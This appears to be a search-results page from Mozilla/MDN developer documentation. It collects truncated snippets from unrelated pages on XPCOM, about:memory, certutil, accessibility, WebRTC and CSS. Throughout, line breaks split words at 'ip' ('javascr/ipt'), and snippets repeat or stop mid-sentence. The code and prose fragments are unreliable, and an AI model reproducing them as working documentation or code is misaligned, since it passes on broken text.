om component that implements the nsiautocompletesearch interface. make sure the contract id of your xpcom component follows the following form: "@mozilla.org/autocomplete/search;1?name=xxx", where "xxx" is the name of your autocomplete source. implement the list of matched strings using the nsiautocompleteresult interface. the simplest way to make an xpcom component is to build an xpcom javascr
ipt component (this cannot be done with a javascr
ipt module). how to build an xpcom component in javascr
ipt will step you through the process. because creating an xpcom component in order to build a custom autocomplete source can be enough to discourage some developers, below is an example javascr
ipt xpcom component called "simple-autocomplete" that implements the necessary interfaces. note: when ...
...that can happen! so, get a uuid from http://www.famkruithof.net/uuid/uuidgen, for example, and paste it in. basic example for gecko 2.0 and up (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this example is your first best try because: it has no specific logic (it just returns a dummy array of choices) it doesn't care about compatibility with older gecko versions first copy the following javascr
ipt code into a file named basic_autocomplete.js into the components directory (or whatever components folder is appropriate in your case): warning: the uuid used below in chrome.manifest and assigned to class_id must be changed before use. const ci = components.interfaces; const cu = components.utils; cu.import('resource://gre/modules/xpcomutils.jsm'); const class_id = components.id('x753d8...
...t class_id = components.id('x753d830-ba1e-11e0-962b-0800200c9a66'); // <- change this const class_name = "basic autocomplete"; const contract_id = '@mozilla.org/autocomplete/search;1?name=basic-autocomplete'; /** * @constructor * * @implements {nsiautocompleteresult} * * @param {string} searchstring * @param {number} searchresult * @param {number} defaultindex * @param {string} errordescr
iption * @param {array.<string>} results * @param {array.<string>|null=} comments */ function providerautocompleteresult(searchstring, searchresult, defaultindex, errordescr
iption, results, comments) { this._searchstring = searchstring; this._searchresult = searchresult; this._defaultindex = defaultindex; this._errordescr
iption = errordescr
iption; this._results = results; this._comm...
...And 8 more matches
about:memory
and type "about:memory" into the address bar and hit "enter". if you are using a communication channel where files can be sent, such as bugzilla or email, click on the "measure and save..." button. this will open a file dialog that lets you save the memory reports to a file of your choosing. (the filename will have a .json.gz suffix.) you can then attach or upload the file appropriately. the rec
ipients will be able to view the contents of this file within about:memory in their own firefox instance. if you are using a communication channel where only text can be sent, such as a comment thread on a website, click on the "measure..." button. this will cause a tree-like structure to be generated text within about:memory. this structure is just text, so you can copy and paste some or all of th...
...discarding and regenerating large numbers of dom nodes. note that in both cases the generated data contains privacy-sensitive details such as the full list of the web pages you have open in other tabs. if you do not wish to share this information, you can select the "anonymize" checkbox before clicking on "measure and save..." or "measure...". this will cause the privacy-sensitive data to be str
ipped out, but it may also make it harder for others to investigate the memory usage. loading memory reports from file the easiest way to load memory reports from file is to use the "load..." button. you can also use the "load and diff..." button to get the difference between two memory report files. single memory report files can also be loaded automatically when about:memory is loaded by append...
...he "load and diff..." button to get the difference between two memory report files. single memory report files can also be loaded automatically when about:memory is loaded by appending a file query string, for example: about:memory?file=/home/username/reports.json.gz this is most useful when loading memory reports files obtained from a firefox os device. memory reports are saved to file as gz
ipped json. these files can be loaded as is, but they can also be loaded after unz
ipping. interpreting memory reports almost everything you see in about:memory has an explanatory tool-t
ip. hover over any button to see a descr
iption of what it does. hover over any measurement to see a descr
iption of what it means. measurement basics most measurements use bytes as their unit, but some are counts o...
...And 8 more matches
NSS tools : certutil
it can specifically list, generate, modify, or delete certificates, create or change the password, generate new public and private key pairs, display the contents of the key database, or delete key pairs within the key database. ...
... be created in the key database. this document discusses certificate and key database management. for information on the security module database management, see the modutil manpage. options and arguments running certutil always requires one and only one command option to specify the type of certificate operation. each option may take arguments, anywhere from none to mult
iple arguments. the command option -h will list all the command options available and their relevant arguments. command options -a add an existing certificate to a certificate database. the certificate database should already exist; if one is not present, this command option will initialize one by default. -b run a series of commands ...
...ngle cert, print binary der encoding of extension oid. -e check a certificate's signature during the process of validating a certificate. --email email-address specify the email address of a certificate to list. used with the -l command option. --extgeneric oid:critical-flag:filename[,oid:critical-flag:filename]... add one or mult
iple extensions that certutil cannot encode yet, by loading their encodings from external files. . oid (example): 1.2.3.4 . critical-flag: critical or not-critical . filename: full path to a file containing an encoded extension -f password-file specify a file that will automatically supply the password to include in a certificate ...
...And 8 more matches
SpiderMonkey 1.8
--9 march 2009 known issues spidermonkey 1.8 has one known significant regression from 1.7. ...
... --9 march 2009 known issues spidermonkey 1.8 has one known significant regression from 1.7. ...
... --9 march 2009 known issues spidermonkey 1.8 has one known significant regression from 1.7. ...
...And 8 more matches
XUL Accessibility
introduction this article shows how xul control elements are mapped to accessibility api. it is much in progress. at api general rules this section holds some rules applied to generating accessible name and descr
iption. ...
...the child node is hidden then it's ignored excepting the case when the element used as label is hidden itself if the child node is text node then its rendered value is appended if the child node is element then if it implements nsidomxullabeledcontrolelement then the value of label property is appended otherwise if it's a label element then then value attribute is appended otherwise append toolt
iptext attribute append the accessible value searching specific element in neighbour of the element search inside the element subtree go up through parents (max level is 5) and search inside theirs subtrees if the element is anonymous then search in whole anonymous subtree, here the attribute anonid is used instead of id attribute accessible properties this section describes common rules how ...
...nonymous then search in whole anonymous subtree, here the attribute anonid is used instead of id attribute accessible properties this section describes common rules how accessibility properties are formed for xul elements. ...
...And 8 more matches
How to build a binary XPCOM component using Visual Studio
for more information on the workings of xpcom look elsewhere. development setup the simplest way to get an xpcom component built is to use the gecko sdk. ...
...for more information on the workings of xpcom look elsewhere. development setup the simplest way to get an xpcom component built is to use the gecko sdk. ...
...for more information on the workings of xpcom look elsewhere. development setup the simplest way to get an xpcom component built is to use the gecko sdk. ...
...And 8 more matches
Introduction to XPCOM for the DOM
his document is bug 99592. target audience: people who would like a quick introduction to the use of c++ and xpcom in the dom code. the understanding of the content of this document is a requirement to read the rest of the dom hacking guide. important note: this document assumes some knowledge of c++, specially the object-oriented part of it. i learned c++ by reading "c++ primer" from stanley l
ippman and josee lajoie, then experimenting on the dom code. i recommend that book to all the beginners out there. introduction to the introduction the dom makes extensive use of xpcom. in fact, to do anything with the dom implementation you need xpcom. you do not, however, need to know all the hairy details, if you just intend to read the code or to work with the existing framework. the numerous...
...inheritance between classes. furthermore, a class can be de declared to be "abstract" if it declares some methods but does not implement them entirely. pushing this concept to its maximum, a class can be "purely virtual" if it declares methods without implementing any of them. such a class is called an interface. the goal of interfaces is to have a single ... interface to a set of methods that man
ipulate an object (often represented by a class), without worrying about the details of the implementation. if you know a class implements an interface, just use the methods in the interface, and you don't have to care if the implementation of the interface (the concrete class) changes. xpcom pushes this concept to the extreme. pure virtual methods are declared with the following syntax: virtual ns...
... "base class" of nsfoo. for this introduction you don't need to know more about object-oriented c++. however the section 1.f provides a more detailed discussion about it, and is necessary to understand most of the dom code. an instance of a class (called an object) can be allocated dynamically (on the heap, or free store), using the syntax nsfoo *fooptr = new nsfoo; that object can then be man
ipulated only through fooptr. let's consider what happens when the class nsfoo implements an interface nsifoo. you can man
ipulate the nsfoo object directly through fooptr, however your code will not be very robust. indeed, if someone decides to change the name or the signature of the methods you use, you will have to change all the calls to those methods throughout your code. as opposed to a concrea...
...And 8 more matches
XPCShell Reference
furthermore, xpcshell looks for xpcshell.js in the current directory. if that file is found, it is executed before any other js files specified. ...
... furthermore, xpcshell looks for xpcshell.js in the current directory. if that file is found, it is executed before any other js files specified. ...
... furthermore, xpcshell looks for xpcshell.js in the current directory. if that file is found, it is executed before any other js files specified. ...
...And 8 more matches
IAccessibleTable
1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) typically all accessible objects that represent cells or cell-clusters of a table will be at the same time children of the table. in this case iaccessible2.indexinparent() will return the child index which then can be used when calling rowindex() and columnindex(). however, in some cases that kind of implementation will not be possible. ...
... index 0 up to the last (but not including) used row or column as returned by nrows() and ncolumns(). ...
...g) used row or column as returned by nrows() and ncolumns(). ...
...And 8 more matches
XPCOM Interface Reference
this is a reference to the xpcom interfaces provided by the mozilla platform. ...
...cessibletableiaccessibletable2iaccessibletablecelliaccessibletextiaccessiblevalueidispatchijsdebuggeramiinstallcallbackamiinstalltriggeramiwebinstallinfoamiwebinstalllisteneramiwebinstallpromptamiwebinstallerimgicacheimgicontainerimgicontainerobserverimgidecoderimgidecoderobserverimgiencoderimgiloaderimgirequestinidomutilsjsdistackframemoziasyncfaviconsmoziasynchistorymozicoloranalyzermozijssubscr
iptloadermoz
ipersonaldictionarymoz
iplaceinfomoz
iplacesautocompletemoziregistrymozirepresentativecolorcallbackmozispellcheckingenginemozistorageaggregatefunctionmozistorageasyncstatementmozistoragebindingparamsmozistoragebindingparamsarraymozistoragecompletioncallbackmozistorageconnectionmozistorageerrormozistoragefunctionmozistoragependingstatementmozistorageprogresshandlermozistorageresultsetmozist...
...cstatementmozistoragebindingparamsmozistoragebindingparamsarraymozistoragecompletioncallbackmozistorageconnectionmozistorageerrormozistoragefunctionmozistoragependingstatementmozistorageprogresshandlermozistorageresultsetmozistoragerowmozistorageservicemozistoragestatementmozistoragestatementcallbackmozistoragestatementparamsmozistoragestatementrowmozistoragestatementwrappermozistoragevacuumpartic
ipantmozistoragevaluearraymozitxttohtmlconvmozithirdpartyutilmozivisitinfomozivisitinfocallbackmozivisitstatuscallbacknsiabcardnsiaboutmodulensiabstractworkernsiaccelerometerupdatensiaccessnodensiaccessibilityservicensiaccessiblensiaccessiblecaretmoveeventnsiaccessiblecoordinatetypensiaccessibledocumentnsiaccessibleeditabletextnsiaccessibleeventnsiaccessiblehyperlinknsiaccessiblehypertextnsiaccessib...
...And 8 more matches
nsIAbCard/Thunderbird3
note: this interface has been overhauled completely for thunderbird 3. documentation for the old nsiabcard interface is currently at nsiabcard. the nsiabcard interface is used to represent and man
ipulate cards in the address book. in a big change from the original nsiabcard, properties are now stored in a hash table instead of as attributes on the interface, allowing it to be more flexible. properties currently supported on the card: names: firstname, lastname phoneticfirstname, phoneticlastname displayname, nickname spousename, familyname primaryemail, secondemail home contact: homeaddress, homeaddress2, homecity, homestate, homez
ipcode, homecountry homephone, homephonetype work contact. same as home, but with `work' instead of `home' oth...
...hday webpage1 (work), webpage2 (home) custom1, custom2, custom3, custom4 notes integral properties: lastmodifieddate popularityindex prefermailformat (see nsiabprefermailformat) boolean properties: allowremotecontent inherits from: nsiabitem method overview nsivariant getproperty(in autf8string name, in nsivariant defaultvalue); [noscr
ipt] astring getpropertyasastring(in string name); [noscr
ipt] autf8string getpropertyasautf8string(in string name); [noscr
ipt] pruint32 getpropertyasuint32(in string name); [noscr
ipt] boolean getpropertyasbool(in string name); void setproperty(in autf8string name, in nsivariant value); [noscr
ipt] void setpropertyasastring(in string name, in astring value)...
...pertyasastring(in string name); [noscr
ipt] autf8string getpropertyasautf8string(in string name); [noscr
ipt] pruint32 getpropertyasuint32(in string name); [noscr
ipt] boolean getpropertyasbool(in string name); void setproperty(in autf8string name, in nsivariant value); [noscr
ipt] void setpropertyasastring(in string name, in astring value); [noscr
ipt] void setpropertyasautf8string(in string name, in autf8string value); [noscr
ipt] void setpropertyasuint32(in string name, in pruint32 value); [noscr
ipt] void setpropertyasbool(in string name, in boolean value); void deleteproperty(in autf8string name); autf8string translateto(in autf8string atype); void copy(in nsiabcard srccard) boolean equa...
...And 8 more matches
Theme Packaging
of the add-ons manager. it can be any size. icon.png is a 32x32 (max. 48x48) png (may contain alpha transparency) which will show up in the appearance section of the add-ons manager. ...
...ha transparency) which will show up in the appearance section of the add-ons manager. ...
...m-rdf#"> <descr
iption about="urn:mozilla:install-manifest"> <em:type>4</em:type> more properties </descr
iption> </rdf> required install.rdf properties your install.rdf file must have the following properties. see the install.rdf reference for more information: em:id em:version em:type em:targetapplication em:name em:internalname optional install.rdf properties em:descr
iption em:creator em:contributor em:homepageurl em:updateurl note that if your theme will be made available on the https://addons.mozilla.org website, it may not include an updateurl. ...
...And 8 more matches
Network request details - Firefox Developer Tools
the request details pane appears when you click on a network request in the request list. this pane provides more detailed information about the request. network request details clicking on a row displays a new pane in the right-hand side of the network monitor, which provides more detailed information about the request. the screenshots and descr
iptions in this section reflect firefox 78. earlier versions appeared similarly, but might not include some functionality. the tabs at the top of this pane enable you to switch between the following pages: headers messages (only for websocket items) cookies params response cache timings security (only for secure pages) stack trace (only when the request has a stack trace, e.g. a scr
ipt called by another scr
ipt). clicking the ico...
...de, where you can modify the method, url, request headers, or request body of the request. click send to send the modified request, or cancel to cancel editing. request information the following information is shown only when the section is expanded: scheme: the scheme used in the url host: the server involved in the request filename: the full path to the file requested address: the
ip address of the host the following information is shown in both the collapsed and the expanded states: status: the http response code for the request. version: the http version used transferred: the amount of data transferred with the request the referrer policy, which governs which referrer information, sent in the referer header, should be included with requests. (see referrer-policy for...
... of the host the following information is shown in both the collapsed and the expanded states: status: the http response code for the request. version: the http version used transferred: the amount of data transferred with the request the referrer policy, which governs which referrer information, sent in the referer header, should be included with requests. (see referrer-policy for a descr
iption of possible values) blocking: if the request is to a site that is associated with a known tracker, an icon and a message are shown; otherwise, this field is not shown. response headers the response headers section shows details about the response. for each line in the response headers section, a question mark links to the documentation for that response header, if one is available. a raw...
...And 8 more matches
Using the CSS Typed Object Model - Web APIs
this article provides an introduction to all of its main features. ...
... this article provides an introduction to all of its main features. ...
... this article provides an introduction to all of its main features. ...
...And 8 more matches
Basic concepts - Web APIs
also, transactions auto-commit and cannot be committed manually. this transaction model is really useful when you consider what might happen if a user opened two instances of your web app in two different tabs simultaneously. without transactional operations, the two instances could interfere with each other's modifications. if you are not familiar with transactions in a database, read the wik
ipedia article on transactions. also see transaction under the definitions section. the indexeddb api is mostly asynchronous. the api doesn't give you data by returning values; instead, you have to pass a callback function. you don't "store" a value into the database, or "retrieve" a value out of the database through synchronous means. instead, you "request" that a database operation happens. ...
...epresenting collections of rows and columns. this important and fundamental difference affects the way you design and build your applications. in a traditional relational data store, you would have a table that stores a collection of rows of data and columns of named types of data. indexeddb, on the other hand, requires you to create an object store for a type of data and simply persist javascr
ipt objects to that store. each object store can have a collection of indexes that makes it efficient to query and iterate across. if you are not familiar with object-oriented database management systems, read the wik
ipedia article on object database. indexeddb does not use structured query language (sql). it uses queries on an index that produces a cursor, which you use to iterate across the ...
...each origin has its own associated set of databases. ...
...And 8 more matches
Intersection Observer API - Web APIs
the sites the user is accessing to become sluggish. as the web has matured, the need for this kind of information has grown. intersection information is needed for many reasons, such as: lazy-loading of images or other content as a page is scrolled. implementing "infinite scrolling" web sites, where more and more content is loaded and rendered as you scroll, so that the user doesn't have to fl
ip through pages. reporting of visibility of advertisements in order to calculate ad revenues. deciding whether or not to perform tasks or animation processes based on whether or not the user will see the result. implementing intersection detection in the past involved event handlers and loops calling methods like element.getboundingclientrect() to build up the needed information for every eleme...
...nt to be observed, or null to use the document's viewport as the container. the root intersection rectangle is the rectangle used to check against the target or targets. this rectangle is determined like this: if the intersection root is the implicit root (that is, the top-level document), the root intersection rectangle is the viewport's rectangle. if the intersection root has an overflow cl
ip, the root intersection rectangle is the root element's content area. otherwise, the root intersection rectangle is the intersection root's bounding client rectangle (as returned by calling getboundingclientrect() on it). the root intersection rectangle can be adjusted further by setting the root margin, rootmargin, when creating the intersectionobserver. the values in rootmargin define offsets...
... the target element's bounding rectangle (that is, the smallest rectangle that fully encloses the bounding boxes of every component that makes up the element...
...And 8 more matches
KeyboardEvent.code - Web APIs
printed on the key or that's generated by the computer when the key is pressed. for example, the code returned is "keyq" for the q key on a qwerty layout keyboard, but the same code value also represents the ' key on dvorak keyboards and the a key on azerty keyboards. that makes it impossible to use the value of code to determine what the name of the key is to users if they're not using an antic
ipated keyboard layout. to determine what character corresponds with the key event, use the keyboardevent.key property instead. code values the code values for windows, linux, and macos are list on the keyboardevent: code values page. examples exercising keyboardevent html <p>press keys on the keyboard to see what the keyboardevent's key and code values are for each one.</p> <div id="outpu...
...roperty instead. code values the code values for windows, linux, and macos are list on the keyboardevent: code values page. examples exercising keyboardevent html <p>press keys on the keyboard to see what the keyboardevent's key and code values are for each one.</p> <div id="output"> </div> css #output { font-family: arial, helvetica, sans-serif; border: 1px solid black; } javascr
ipt window.addeventlistener("keydown", function(event) { let str = "keyboardevent: key='" + event.key + "' | code='" + event.code + "'"; let el = document.createelement("span"); el.innerhtml = str + "<br/>"; document.getelementbyid("output").appendchild(el); }, true); try it out to ensure that keystrokes go to the sample, click in the output box below before pressing keys. ...
...ses the typical "wasd" keyboard layout for steering forward, left, backward, and right. this will use the same four keys physically regardless of what the actual corresponding characters are, such as if the user is using an azerty keyboard. ...
...And 8 more matches
RTCConfiguration - Web APIs
this value isn't included in the dictionary, "balanced" is assumed. certificates optional an array of objects of type rtccertificate which are used by the connection for authentication. if this property isn't specified, a set of certificates is generated automatically for each rtcpeerconnection instance. although only one certificate is used by a given connection, providing certificates for mult
iple algorithms may improve the odds of successfully connecting in some circumstances. see using certificates below for additional information. this configuration option cannot be changed after it is first specified; once the certificates have been set, this property is ignored in future calls to rtcpeerconnection.setconfiguration(). icecandidatepoolsize optional an unsigned 16-bit integer valu...
...eger value which specifies the size of the prefetched ice candidate pool. the default value is 0 (meaning no candidate prefetching will occur). you may find in some cases that connections can be established more quickly by allowing the ice agent to start fetching ice candidates before you start trying to connect, so that they're already available for inspection when rtcpeerconnection.setlocaldescr
iption() is called. changing the size of the ice candidate pool may trigger the beginning of ice gathering. iceservers optional an array of rtciceserver objects, each describing one server which may be used by the ice agent; these are typically stun and/or turn servers. if this isn't specified, the connection attempt will be made with no stun or turn server available, which limits the connectio...
... a stun or turn server. peeridentity optional a domstring which specifies the target peer identity for the rtcpeerconnection. if this value is set (it defaults to null), the rtcpeerconnection will not connect to a remote peer unless it can successfully authenticate with the given name. ...
...And 8 more matches
Using DTMF with WebRTC - Web APIs
systems entry of credit card or other payment information passcode entry note: while the dtmf is not sent to the remote peer as audio, browsers may choose to play the corresponding tone to the local user as part of their user experience, since users are typically used to hearing their phone play the tones audibly. sending dtmf on an rtcpeerconnection a given rtcpeerconnection can have mult
iple media tracks sent or received on it. when you wish to transmit dtmf signals, you first need to decide which track to send them on, since dtmf is sent as a series of out-of-band payloads on the rtcrtpsender responsible for transmitting that track's data to the other peer. once the track is selected, you can obtain from its rtcrtpsender the rtcdtmfsender object you'll use for sending dtmf. from ...
... receive and display log text to show status information. <p>this example demonstrates the use of dtmf in webrtc. note that this example is "cheating" by generating both peers in one code stream, rather than having each be a truly separate entity.</p> <audio id="audio" autoplay controls></audio><br/> <button name="dial" id="dial">dial</button> <div class="log"></div> javascr
ipt let's take a look at the javascr
ipt code next. keep in mind that the process of establishing the connection is somewhat contrived here; you normally don't build both ends of the connection in the same document. global variables first, we establish global variables. let dialstring = "12024561111"; let callerpc = null; let receiverpc = null; let dtmfsender = null; let hasaddtrack = false; l...
...somewhat because we control both the caller and the receiver, so handlecallernegotiationneeded() is able to quickly construct the connection by chaining the required calls together for both the caller and receiver, as shown below. ...
...And 8 more matches
Web applications and ARIA FAQ - Accessibility
ing those who use assistive technologies such as screen readers or magnifiers. aria provides additional semantics to describe the role, state, and functionality of many familiar user interface controls, such as menus, sliders, trees, and dialogs. it also provides additional structural information, helping authors identify landmarks, regions, and grids on their pages. aria enables dynamic, javascr
ipt-driven applications and widgets to interoperate with a variety of desktop-based assistive technologies. for more information about how to create accessible widgets with aria, see the overview of accessible web applications and widgets. where is aria supported? aria is a relatively new specification, but support for it is growing. a wide variety of commonly-used browsers, assistive technologie...
...pplications and widgets to interoperate with a variety of desktop-based assistive technologies. for more information about how to create accessible widgets with aria, see the overview of accessible web applications and widgets. where is aria supported? aria is a relatively new specification, but support for it is growing. a wide variety of commonly-used browsers, assistive technologies, javascr
ipt toolkits, and applications now support aria. however, many users may still be using older versions of these technologies. you may want to consider implementing aria using progressive enhancement techniques--such as adding aria using javascr
ipt, not directly to your markup--in order to more gracefully support older browsers and assistive technologies. browsers aria is supported in the following...
...iceover on ios5 or os x lion opera 9.5+ requires voiceover on os x. tbd: how well does this currently work? internet explorer 8+ works with jaws 10+ and nvda. no live region support in nvda. ie9 support is much improved. in some cases, earlier versions may support only some features of aria. more detailed browser compatibility charts are available from mult
iple sources: caniuse.com the paciello group assistive technologies assistive technologies are increasingly adopting aria. some of them include: assistive technology minimum version for basic aria minimum version for live region and alert support nvda 2010.2 (nvda is always a free upgrade) 2011.1 for firefox, no live region support in ie as of 2011.2. ...
...And 8 more matches
Cognitive accessibility - Accessibility
content accessibility guidelines, includes several guidelines to improve cognitive accessibility. these guidelines are published by the web accessibility initiative (wai) of the world wide web consortium (w3c), the main international standards organization for the internet. this group is also responsible for the accessible rich internet application (aria) guidelines. wcag are guided by four princ
iples: websites must be perceivable, operable, understandable, and robust. to this end, they define 17 specific guidelines, of which six are especially relevant for cognitive accessibility. all of the following guidelines help more than just people with cognitive disabilities. for example, being able to extend the expiration time on an application requiring an authentication code sent to a mobile d...
...technologically literate. people who have poor wireless reception. people who have motor control issues. adaptability guideline 1.3 states "content should be adaptable." create content that can be presented in different ways without losing information or structure. for example, provide responsive layouts, with a single column mobile design. all information, including structure and relationsh
ips conveyed through the presentation, should be available in a form that can be perceived by all users to achieve this goal. for example, the information could be spoken aloud via a narration tool. making your content capable of being understood by the software is a good way to help ensure it can be used by alternate presentational modes. time it is important to allow users the time they require ...
...is preserving data for more than 20 hours when no actions are taken. ...
...And 8 more matches
Web accessibility for seizures and physical reactions - Accessibility
e for those with vestibular disorders, and how to measure and prevent content leading to seizures and / or other physical reactions. overview seizures seizures caused by light are known as photosensitive epilepsy. content that flickers, flashes, or blinks can trigger photosensitive epilepsy. web technologies that use video, animated gifs, animated pngs, animated svgs, canvas, and css or javascr
ipt animations are all capable of content that can induce seizures or other incapacitating physical reactions. certain visual patterns, especially str
ipes, can also cause physical reactions even though they are not animated. photosensitive epilepsy is actually a kind of "reflex epilepsy"--seizures occurring in response to a trigger. in the case of photosensitive epilepsy, seizures are triggered spec...
...s and photosensitive epilepsy", where it is noted "certain visual images, even in the absence of motion or flicker, can trigger seizures in patients with photosensitive epilepsy" the epilepsy foundation, in its article, "shedding light on photosensitivity, one of epilepsy's most complex conditions" talks about static images and patterns. ...
... although static images are possible as triggers, they are less consistent. ...
...And 8 more matches
system - CSS: Cascading Style Sheets
syntax /* keyword values */ system: cyclic; system: numeric; system: alphabetic; system: symbolic; system: additive; system: fixed; /* combined values */ system: fixed 3; system: extends decimal; this may take one of three forms: one of the keyword values cyclic, numeric, alphabetic, symbolic, additive, or fixed. ...
...ic, symbolic, additive, or fixed. the keyword value fixed along with an integer. the keyword value or extends along with a @counter-style name. cyclic cycles through the list of symbols provided. once the end of the list of symbols is reached, it will loop back to the beginning and start over. ...
... integer. the keyword value or extends along with a @counter-style name. cyclic cycles through the list of symbols provided. once the end of the list of symbols is reached, it will loop back to the beginning and start over. this system is useful for simple bullet styles with just one symbol, or for styles having mult
iple symbols. at least one symbol must be specified in the symbols descr
iptor, or the counter style is not valid. fixed defines a finite set of symbols are specified. once the system has looped through all the specified symbols, it will fall back. this system is useful in cases where the counter values are finite. at least one symbol must be specified in the symbols descr
iptor or the counter style is not valid. also an optional <integer> can be specified after the the...
...And 8 more matches
Using media queries - CSS: Cascading Style Sheets
parameters (such as screen resolution or browser viewport width). media queries are used for the following: to conditionally apply styles with the css @media and @import at-rules. to target specific media for the <style>, <link>, <source>, and other html elements with the media= attribute. to test and monitor media states using the window.matchmedia() and mediaquerylist.addlistener() javascr
ipt methods. note: the examples on this page use css's @media for illustrative purposes, but the basic syntax remains the same for all types of media queries. syntax a media query is composed of an optional media type and any number of media feature expressions. mult
iple queries can be combined in various ways by using logical operators. media queries are case-insensitive. a media query compu...
...colors added in media queries level 5. prefers-reduced-motion the user prefers less motion on the page added in media queries level 5. prefers-reduced-transparency the user prefers reduced transparency added in media queries level 5. resolution pixel density of the output device scan scanning process of the output device scr
ipting detects whether scr
ipting (i.e. javascr
ipt) is available added in media queries level 5. update how frequently the output device can modify the appearance of content added in media queries level 4. width width of the viewport including width of scrollbar logical operators the logical operators not, and, and only can be used to compose a complex med...
...it is also used for joining media features with media types. ...
...And 8 more matches
break-after - CSS: Cascading Style Sheets
that point. once forced breaks have been applied, soft breaks may be added if needed, but not on element boundaries that resolve in a corresponding avoid value. syntax the break-after property is specified as one of the keyword values from the list below. values generic break values auto allows, but does not force, any break (page, column, or region) to be inserted right after the princ
ipal box. avoid avoids any break (page, column, or region) from being inserted right after the princ
ipal box. always forces a page break right after the princ
ipal box. the type of this break is that of the immediately-containing fragmentation context. if we are inside a multicol container then it would force a column break, inside paged media (but not inside a multicol container) a page break.
... region) from being inserted right after the princ
ipal box. always forces a page break right after the princ
ipal box. the type of this break is that of the immediately-containing fragmentation context. if we are inside a multicol container then it would force a column break, inside paged media (but not inside a multicol container) a page break. all forces a page break right after the princ
ipal box. breaking through all possible fragmentation contexts. so a break inside a multicol container, which was inside a page container would force a column and page break. page break values avoid-page avoids any page break right after the princ
ipal box. page forces a page break right after the princ
ipal box. ...
...right after the princ
ipal box. breaking through all possible fragmentation contexts. so a break inside a multicol container, which was inside a page container would force a column and page break. page break values avoid-page avoids any page break right after the princ
ipal box. page forces a page break right after the princ
ipal box. left forces one or two page breaks right after the princ
ipal box, whichever will make the next page into a left page. right forces one or two page breaks right after the princ
ipal box, whichever will make the next page into a right page. recto forces one or two page breaks right after the princ
ipal box, whichever will make the next page into a recto page. (a recto page is a right page in a left-to-right spread or a left page in a right-to-left spre...
...And 8 more matches
break-before - CSS: Cascading Style Sheets
hat point. once forced breaks have been applied, soft breaks may be added if needed, but not on element boundaries that resolve in a corresponding avoid value. syntax the break-before property is specified as one of the keyword values from the list below. values generic break values auto allows, but does not force, any break (page, column, or region) to be inserted right before the princ
ipal box. avoid avoids any break (page, column, or region) from being inserted right before the princ
ipal box. always forces a page break right after the princ
ipal box. the type of this break is that of the immediately-containing fragmentation context. if we are inside a multicol container then it would force a column break, inside paged media (but not inside a multicol container) a page break...
...region) from being inserted right before the princ
ipal box. always forces a page break right after the princ
ipal box. the type of this break is that of the immediately-containing fragmentation context. if we are inside a multicol container then it would force a column break, inside paged media (but not inside a multicol container) a page break. all forces a page break right after the princ
ipal box. breaking through all possible fragmentation contexts. so a break inside a multicol container, which was inside a page container would force a column and page break. page break values avoid-page avoids any page break right before the princ
ipal box. page forces a page break right before the princ
ipal box. ...
...ht after the princ
ipal box. breaking through all possible fragmentation contexts. so a break inside a multicol container, which was inside a page container would force a column and page break. page break values avoid-page avoids any page break right before the princ
ipal box. page forces a page break right before the princ
ipal box. left forces one or two page breaks right before the princ
ipal box, whichever will make the next page into a left page. right forces one or two page breaks right before the princ
ipal box, whichever will make the next page into a right page. recto forces one or two page breaks right before the princ
ipal box, whichever will make the next page into a recto page. (a recto page is a right page in a left-to-right spread or a left page in a right-to-left sp...
...And 8 more matches
shape-outside - CSS: Cascading Style Sheets
n a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...he float area is unaffected. inline content wraps around the element's margin box, like usual. <shape-box> the float area is computed according to the shape of a float element's edges (as defined by the css box model). this can be margin-box, border-box, padding-box, or content-box. the shape includes any curvature created by the border-radius property (behavior which is similar to background-cl
ip). margin-box defines the shape enclosed by the outside margin edge. the corner radii of this shape are determined by the corresponding border-radius and margin values. if the border-radius / margin ratio is 1 or more, then the margin box corner radius is border-radius + margin. if the ratio is less than 1, then the margin box corner radius is border-radius + (margin * (1 + (ratio-1)^3)). ...
... by the outside padding edge. the shape follows the normal border radius shaping rules for the inside of the border. content-box defines the shape enclosed by the outside content edge. each corner radius of this box is the larger of 0 or border-radius - border-width - padding. <basic-shape> the float area is computed based on the shape created by of one of inset(), circle(), ell
ipse(), polygon(), or as added in the level 2 specification path(). if a <shape-box> is also supplied, it defines the reference box for the <basic-shape> function. otherwise, the reference box defaults to margin-box. <image> the float area is extracted and computed based on the alpha channel of the specified <image> as defined by shape-image-threshold. note: user agents must use the potentiall...
...And 8 more matches
text-transform - CSS: Cascading Style Sheets
of i, with and without the dot, and two case pairings: i/i and i/i. in german (de), the ss becomes ss in uppercase. in dutch (nl), the ij digraph becomes ij, even with text-transform: capitalize, which only puts the first letter of a word in uppercase. in greek (el), vowels lose their accent when the whole word is in uppercase (?/?), except for the disjunctive eta (?/?). also, d
iphthongs with an accent on the first vowel lose the accent and gain a diaeresis on the second vowel (??/??). in greek (el), the lowercase sigma character has two forms: ? and ?. ? is used only when sigma terminates a word. when applying text-transform: lowercase to an uppercase sigma (?), the browser needs to choose the right lowercase form based on context. in irish (ga), certain prefixed...
...d to uppercase. other characters remain unchanged (they retain their original case as written in the element's text). a letter is defined as a character that is part of unicode's letter or number general categories ; thus, any punctuation marks or symbols at the beginning of a word are ignored. authors should not expect capitalize to follow language-specific title casing conventions (such as sk
ipping articles in english). the capitalize keyword was under-specified in css 1 and css 2.1. this resulted in differences between browsers in the way the first letter was calculated (firefox considered - and _ as letters, but other browsers did not. both webkit and gecko incorrectly considered letter-based symbols like (a) to be real letters. internet explorer 9 was the closest to the css 2 defin...
...sion the different engines started to support this now precisely-defined behavior. uppercase is a keyword that converts all characters to uppercase. lowercase is a keyword that converts all characters to lowercase. none is a keyword that prevents the case of all characters from being changed. full-width is a keyword that forces the writing of a character -- mainly ideograms and latin scr
ipts -- inside a square, allowing them to be aligned in the usual east asian scr
ipts (like chinese or japanese). full-size-kana generally used for <ruby> annotation text, the keyword converts all small kana characters to the equivalent full-size kana, to compensate for legibility issues at the small font sizes typically used in ruby. accessibility concerns large sections of text set with a text...
...And 8 more matches
Rich-Text Editing in Mozilla - Developer guides
ost basic keyboard commands such as copy and paste are available, all others need to be implemented by the website. similarly, setting contenteditable to "true" allows you to make individual elements of a document editable. executing commands when an html document has been switched to designmode, the document object exposes the document.execcommand method which allows one to run commands to man
ipulate the contents of the editable region. most commands affect the document's selection (bold, italics, etc), while others insert new elements (adding a link) or affect an entire line (indenting). when using contenteditable, calling execcommand will affect the currently active editable element. internet explorer differences one major difference between mozilla and internet explorer that affects...
